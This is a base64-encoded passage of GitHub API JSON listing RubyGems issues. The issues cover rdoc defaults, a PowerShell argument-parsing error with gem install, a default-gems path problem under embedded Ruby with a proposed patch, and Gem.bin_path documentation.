InNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNTYzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBtYWpvciUyMGJ1bXAiLCJuYW1lIjoidHlwZTogbWFqb3IgYnVtcCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE3LTA3LTAxVDIzOjI5OjA5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA4LTExVDE3OjIwOjQxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJIGp1c3Qgd2FudGVkIHRvIHByb3Bvc2UgdGhpcyBpbiBjYXNlIGl0IGhhZG4ndCBiZWVuIHByb3Bvc2VkIGJlZm9yZS5cclxuXHJcbkluIG15IDEwIG9yIDExIHllYXJzIG9mIHVzaW5nIFJ1YnksIEkndmUgbmV2ZXIgc2VlbiBzb21lb25lIHVzZSByZG9jIG9yIHJpIGxvY2FsbHkgb24gdGhlaXIgbWFjaGluZS4gSSdtIHN1cmUgdGhlcmUgYXJlIHNvbWUgcGVvcGxlIG91dCB0aGVyZSB1c2luZyBpdCBidXQgSSB3b3VsZCBiZXQgYSBsYXJnZSBtYWpvcml0eSBuZXZlciBkby4gSWYgSSdtIGNvcnJlY3QgKGFuZCBtYXliZSBJJ20gbm90KSBpc24ndCB0aGUgc3BlZWRpZXIgaW5zdGFsbCB0aW1lcyBhbmQgYXZvaWRpbmcgZ2VuZXJhdGlvbiBvZiB1bnVzZWQgZmlsZXMgYSBtb3JlIHNlbnNpYmxlIGRlZmF1bHQgYW5kIGNvdWxkbid0IHdlIHJldmVyc2UgdGhpbmdzIHRvIG1ha2UgaXQgc28geW91IGhhdmUgdG8gcHV0IC0tZG9jdW1lbnQgaW4geW91ciBgLmdlbXJjYCB3aGVuIHlvdSBuZWVkIHRoYXQ/In0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTYyIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjIvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NjIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2Mi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk2MiIsImlkIjoyMzg1ODEyMzMsIm51bWJlciI6MTk2MiwidGl0bGUiOiJJbGxmb3JtZWQgcmVxdWlyZW1lbnQgd2hlbiB1c2luZyBwb3dlcnNoZWxsIiwidXNlciI6eyJsb2dpbiI6ImRqYmVyZzk2IiwiaWQiOjc4NTI5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS83ODUyOT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9kamJlcmc5NiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTcyODg1MSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGxhdGZvcm06JTIwd2luZG93cyIsIm5hbWUiOiJwbGF0Zm9ybTogd2luZG93cyIsImNvbG9yIjoiNTMxOWU3IiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjYsImNyZWF0ZWRfYXQiOiIyMDE3LTA2LTI2VDE1OjI5OjUwWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA2LTI3VDE3OjM4OjQxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwiYm9keSI6InJ1YnkgMi4zLjNwMjIyICgyMDE2LTExLTIxIHJldmlzaW9uIDU2ODU5KSBbeDY0LW1pbmd3MzJdXHJcbldpbmRvd3MgMTBcclxuUG93ZXJzaGVsbCA1LjFcclxuXHJcbkknbSBnZXR0aW5nIGEgY3VyaW91cyBlcnJvciB3aGVuIEkgdHJ5IHRvIHVzZSB0aGUgLS1jb25zZXJ2YXRpdmUgb3B0aW9uOlxyXG5cclxuYGBgXHJcblBTIEM6XFxVc2Vyc1xcZGpiZXI+IGdlbSBpbnN0YWxsIGJ1bmRsZXIgLXYgJz49MS4xMS4xJyAtLWNvbnNlcnZhdGl2ZVxyXG5cclxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoR2VtOjpSZXF1aXJlbWVudDo6QmFkUmVxdWlyZW1lbnRFcnJvcilcclxuICAgSWxsZm9ybWVkIHJlcXVpcmVtZW50IFtcIi0tY29uc2VydmF0aXZlXCJdXHJcbmBgYFxyXG5cclxuQ3VyaW91c2x5LCBJIGFsc28gc2VlIHRoaXMgd2hlbiB1c2luZyB0aGUgY29tbWFuZCBzaGVsbCBpZiBpdCdzIHJ1biB2aWEgYnVuZGxlciwgYnV0IG5vdCBpZiBJIHJ1biBpdCBkaXJlY3RseSBvbiB0aGUgY29tbWFuZCBsaW5lLlxyXG5cclxuQmFjayB0byBwb3dlcnNoZWxsLCBJJ20gYWN0dWFsbHkgZ2V0dGluZyBhbiBlcnJvciBldmVuIHdpdGhvdXQgdGhlIC0tY29uc2VydmF0aXZlIG9wdGlvbjpcclxuXHJcbmBgYFxyXG5QUyBDOlxcVXNlcnNcXGRqYmVyPiBnZW0gaW5zdGFsbCBidW5kbGVyIC12IFwiPj0xLjExLjFcIlxyXG5cclxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoT3B0aW9uUGFyc2VyOjpNaXNzaW5nQXJndW1lbnQpXHJcbiAgICBtaXNzaW5nIGFyZ3VtZW50OiAtdlxyXG5gYGBcclxuXHJcbmBgYFxyXG5QUyBDOlxcVXNlcnNcXGRqYmVyPiBnZW0gZW52XHJcblJ1YnlHZW1zIEVudmlyb25tZW50OlxyXG4gIC0gUlVCWUdFTVMgVkVSU0lPTjogMi42LjEyXHJcbiAgLSBSVUJZIFZFUlNJT046IDIuMy4zICgyMDE2LTExLTIxIHBhdGNobGV2ZWwgMjIyKSBbeDY0LW1pbmd3MzJdXHJcbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9SdWJ5MjMteDY0L2xpYi9ydWJ5L2dlbXMvMi4zLjBcclxuICAtIFVTRVIgSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogQzovVXNlcnMvZGpiZXIvLmdlbS9ydWJ5LzIuMy4wXHJcbiAgLSBSVUJZIEVYRUNVVEFCTEU6IEM6L1J1YnkyMy14NjQvYmluL3J1YnkuZXhlXHJcbiAgLSBFWEVDVVRBQkxFIERJUkVDVE9SWTogQzovUnVieTIzLXg2NC9iaW5cclxuICAtIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiBDOi9Vc2Vycy9kamJlci8uZ2VtL3NwZWNzXHJcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IEM6L1Byb2dyYW1EYXRhXHJcbiAgLSBSVUJZR0VNUyBQTEFURk9STVM6XHJcbiAgICAtIHJ1YnlcclxuICAgIC0geDY0LW1pbmd3MzJcclxuICAtIEdFTSBQQVRIUzpcclxuICAgICAtIEM6L1J1YnkyMy14NjQvbGliL3J1YnkvZ2Vtcy8yLjMuMFxyXG4gICAgIC0gQzovVXNlcnMvZGpiZXIvLmdlbS9ydWJ5LzIuMy4wXHJcbiAgLSBHRU0gQ09ORklHVVJBVElPTjpcclxuICAgICAtIDp1cGRhdGVfc291cmNlcyA9PiB0cnVlXHJcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXHJcbiAgICAgLSA6YmFja3RyYWNlID0+IGZhbHNlXHJcbiAgICAgLSA6YnVsa190aHJlc2hvbGQgPT4gMTAwMFxyXG4gICAgIC0gOnNvdXJjZXMgPT4gW1wiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmdcIl1cclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmdcclxuICAtIFNIRUxMIFBBVEg6XHJcbiAgICAgLSBDOlxcV2luZG93c1xcc3lzdGVtMzJcclxuICAgICAtIEM6XFxXaW5kb3dzXHJcbiAgICAgLSBDOlxcV2luZG93c1xcU3lzdGVtMzJcXFdiZW1cclxuICAgICAtIEM6XFxXaW5kb3dzXFxTeXN0ZW0zMlxcV2luZG93c1Bvd2VyU2hlbGxcXHYxLjBcXFxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE5WSURJQSBDb3Jwb3JhdGlvblxcUGh5c1hcXENvbW1vblxyXG4gICAgIC0gQzpcXFdpbmRvd3NcXHN5c3RlbTMyXFxjb25maWdcXHN5c3RlbXByb2ZpbGVcXC5kbnhcXGJpblxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXE1pY3Jvc29mdCBETlhcXERudm1cXFxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXE1pY3Jvc29mdCBTUUwgU2VydmVyXFwxMzBcXFRvb2xzXFxCaW5uXFxcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXGNtZFxyXG4gICAgIC0gQzpcXFByb2dyYW1EYXRhXFxjaG9jb2xhdGV5XFxiaW5cclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxKYXZhXFxqZGsxLjguMF8xMDJcXGJpblxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXHZpbVxcdmltNzRcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxKYXZhXFxqZGsxLjguMF8xMTJcXGJpblxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFNreXBlXFxQaG9uZVxcXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcdmltXFx2aW04MFxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXEhlaW1kYWxcXGJpblxcXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcSGVpbWRhbFxcYmluXFxcclxuICAgICAtIEM6XFxSdWJ5MjMteDY0XFxiaW5cclxuICAgICAtIEM6XFxVc2Vyc1xcZGpiZXJcXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXFdpbmRvd3NBcHBzXHJcbiAgICAgLVxyXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE1pY3Jvc29mdCBWUyBDb2RlXFxiaW5cclxuYGBgIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTU3IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NTcvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NTcvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk1Ny9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk1NyIsImlkIjoyMzY0OTQ4NDIsIm51bWJlciI6MTk1NywidGl0bGUiOiJFbWJlZGRlZCBSdWJ5IGFuZCBnZW0gbGlzdCIsInVzZXIiOnsibG9naW4iOiJNU1AtR3JlZyIsImlkIjoxNTA4MTE3NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUwODExNzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vTVNQLUdyZWciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxOSwiY3JlYXRlZF9hdCI6IjIwMTctMDYtMTZUMTQ6MTI6MTRaIiwidXBkYXRlZF9hdCI6IjIwMTctMTAtMTBUMTM6NTQ6MDlaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJXaGlsZSB3b3JraW5nIHdpdGggYW4gYXBwbGljYXRpb24gd2l0aCBlbWJlZGRlZCBydWJ5LCB0aGUgY29tbWFuZCBlcXVpdmFsZW50IG9mIGBnZW0gbGlzdGAgd2FzIG5vdCBzaG93aW5nIGRlZmF1bHQgZ2Vtcy4gIFRoZSBpc3N1ZSBpcyBjYXVzZWQgYnkgW0dlbTo6QmFzaWNTcGVjaWZpY2F0aW9uLmRlZmF1bHRfc3BlY2lmaWNhdGlvbnNfZGlyXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi82MDAwNmE4ZTQ2ZGJjMzA3YWJmM2FkMDJjNmM0ZDhlOGI4NWNlYWVlL2xpYi9ydWJ5Z2Vtcy9iYXNpY19zcGVjaWZpY2F0aW9uLnJiI0wzNy1MMzkpLCB3aGljaCBpcyBjdXJyZW50bHk6XHJcblxyXG5gYGBydWJ5XHJcbmRlZiBzZWxmLmRlZmF1bHRfc3BlY2lmaWNhdGlvbnNfZGlyXHJcbiAgRmlsZS5qb2luKEdlbS5kZWZhdWx0X2RpciwgXCJzcGVjaWZpY2F0aW9uc1wiLCBcImRlZmF1bHRcIilcclxuZW5kXHJcbmBgYFxyXG5cclxuSSBjaGFuZ2VkIGl0IHRvOlxyXG5cclxuYGBgcnVieVxyXG5kZWYgc2VsZi5kZWZhdWx0X3NwZWNpZmljYXRpb25zX2RpclxyXG4gIGRmbHRfZGlyID0gRmlsZS5qb2luKEdlbS5kZWZhdWx0X2RpciwgXCJzcGVjaWZpY2F0aW9uc1wiLCBcImRlZmF1bHRcIilcclxuICBEaXIuZXhpc3Q/KGRmbHRfZGlyKSA/IGRmbHRfZGlyIDpcclxuICAgIEZpbGUuam9pbihHZW0uZGlyLCBcInNwZWNpZmljYXRpb25zXCIsIFwiZGVmYXVsdFwiKVxyXG5lbmRcclxuYGBgXHJcblxyXG5BbmQgZXZleXRoaW5nIHdvcmtzIGNvcnJlY3RseS5cclxuXHJcbkknZCBkbyBhIFBSLCBidXQgSSdtIG5vdCBzdXJlIGlmIG1vcmUgY2hlY2tzIHNob3VsZCBiZSBhZGRlZCwgaWYgdGhpcyB3b3VsZCBiZSBjb25zaWRlcmVkIGFuIGlzc3VlIHdpdGggdGhlIGVtYmVkZGVkIHNldHVwLCBldGMuXHJcblxyXG5CdXQsIHVzaW5nIGBHZW0uZGVmYXVsdF9kaXJgIGRvZXMgc2VlbSB0byBiZSBtYWtpbmcgc29tZSBhc3N1bXB0aW9ucyBhYm91dCBpdCBiZWluZyBhIHN0YW5kYXJkIHJ1YnkgaW5zdGFsbC4uLlxyXG5cclxuUnVieUdlbXMgRW52aXJvbm1lbnQgKHVzaW5nIGEgY3VzdG9tIGJ1aWxkIG9mIFJ1YnkgMi4zIHN0YWJsZSk6XHJcbmBgYFxyXG4gIC0gUlVCWUdFTVMgVkVSU0lPTjogMi42LjEyXHJcbiAgLSBSVUJZIFZFUlNJT046IDIuMy41ICgyMDE3LTA1LTAxIHBhdGNobGV2ZWwgMzEwKSBbeDY0LW1pbmd3MzJdXHJcbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9Vc2Vycy9HcmVnL0FwcERhdGEvUm9hbWluZy9Ta2V0Y2hVcC9Ta2V0Y2hVcCAyMDE3L1NrZXRjaFVwL0dlbXM2NFxyXG4gIC0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9Vc2Vycy9HcmVnLy5nZW0vcnVieS8yLjMuMFxyXG4gIC0gUlVCWSBFWEVDVVRBQkxFOiBcIkM6L1Byb2dyYW0gRmlsZXMvU2tldGNoVXBfMjNfMS9Ta2V0Y2hVcCAyMDE3L1Rvb2xzL2Jpbi9ydWJ5LmV4ZVwiXHJcbiAgLSBFWEVDVVRBQkxFIERJUkVDVE9SWTogQzovVXNlcnMvR3JlZy9BcHBEYXRhL1JvYW1pbmcvU2tldGNoVXAvU2tldGNoVXAgMjAxNy9Ta2V0Y2hVcC9HZW1zNjQvYmluXHJcbiAgLSBTUEVDIENBQ0hFIERJUkVDVE9SWTogQzovVXNlcnMvR3JlZy8uZ2VtL3NwZWNzXHJcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IEM6L1Byb2dyYW1EYXRhXHJcbiAgLSBSVUJZR0VNUyBQTEFURk9STVM6XHJcbiAgICAtIHJ1YnlcclxuICAgIC0geDY0LW1pbmd3MzJcclxuICAtIEdFTSBQQVRIUzpcclxuICAgICAtIEM6L1VzZXJzL0dyZWcvQXBwRGF0YS9Sb2FtaW5nL1NrZXRjaFVwL1NrZXRjaFVwIDIwMTcvU2tldGNoVXAvR2VtczY0XHJcbiAgLSBHRU0gQ09ORklHVVJBVElPTjpcclxuICAgICAtIDp1cGRhdGVfc291cmNlcyA9PiB0cnVlXHJcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXHJcbiAgICAgLSA6YmFja3RyYWNlID0+IGZhbHNlXHJcbiAgICAgLSA6YnVsa190aHJlc2hvbGQgPT4gMTAwMFxyXG4gICAgIC0gXCJpbnN0YWxsXCIgPT4gXCItLW5vLWRvY3VtZW50IC0tZW52LXNoZWJhbmcgLS1wbGF0Zm9ybSBydWJ5IC0tIC0tdXNlLXN5c3RlbS1saWJyYXJpZXNcIlxyXG4gICAgIC0gXCJ1cGRhdGVcIiA9PiBcIi0tbm8tZG9jdW1lbnQgLS1lbnYtc2hlYmFuZyAtLXBsYXRmb3JtIHJ1YnkgLS0gLS11c2Utc3lzdGVtLWxpYnJhcmllc1wiXHJcbiAgLSBSRU1PVEUgU09VUkNFUzpcclxuICAgICAtIGh0dHBzOi8vcnVieWdlbXMub3JnL1xyXG4gIC0gU0hFTEwgUEFUSDpcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxTa2V0Y2hVcF8yM18xXFxTa2V0Y2hVcCAyMDE3XFxUb29sc1xcUnVieVN0ZExpYlxccGxhdGZvcm1fc3BlY2lmaWNcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxTa2V0Y2hVcFxcU2tldGNoVXAgMjAxN1xcXHJcbiAgICAgLSBDOlxcV2luZG93c1xcc3lzdGVtMzJcclxuICAgICAtIEM6XFxXaW5kb3dzXHJcbiAgICAgLSBDOlxcV2luZG93c1xcU3lzdGVtMzJcXFdiZW1cclxuICAgICAtIEM6XFxXaW5kb3dzXFxTeXN0ZW0zMlxcV2luZG93c1Bvd2VyU2hlbGxcXHYxLjBcXFxyXG4gICAgIC0gQzpcXHJ1YnkyNV82NFxcYmluXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFxjbWRcclxuICAgICAtIEU6XFxtc3lzNjRcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxHTlVcXEdudVBHXFxwdWJcclxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxNaWNyb3NvZnQgU1FMIFNlcnZlclxcMTMwXFxUb29sc1xcQmlublxcXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcTlZJRElBIENvcnBvcmF0aW9uXFxQaHlzWFxcQ29tbW9uXHJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcTWljcm9zb2Z0IFZTIENvZGVcXGJpblxyXG5gYGBcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0OSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ5L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTQ5L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDkvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5NDkiLCJpZCI6MjM0NzEyMTc2LCJudW1iZXIiOjE5NDksInRpdGxlIjoiR2VtLmJpbl9wYXRoIGRvY3VtZW50YXRpb24gKGV4ZWNfbmFtZSBpcyByZXF1aXJlZCkiLCJ1c2VyIjp7ImxvZ2luIjoia28xIiwiaWQiOjk1NTgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzk1NTg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tvMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tvMSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tvMS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rbzEvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva28xL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rbzEvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rbzEvc3Vic2NyaXB0aW9ucyIsIm9yZ2F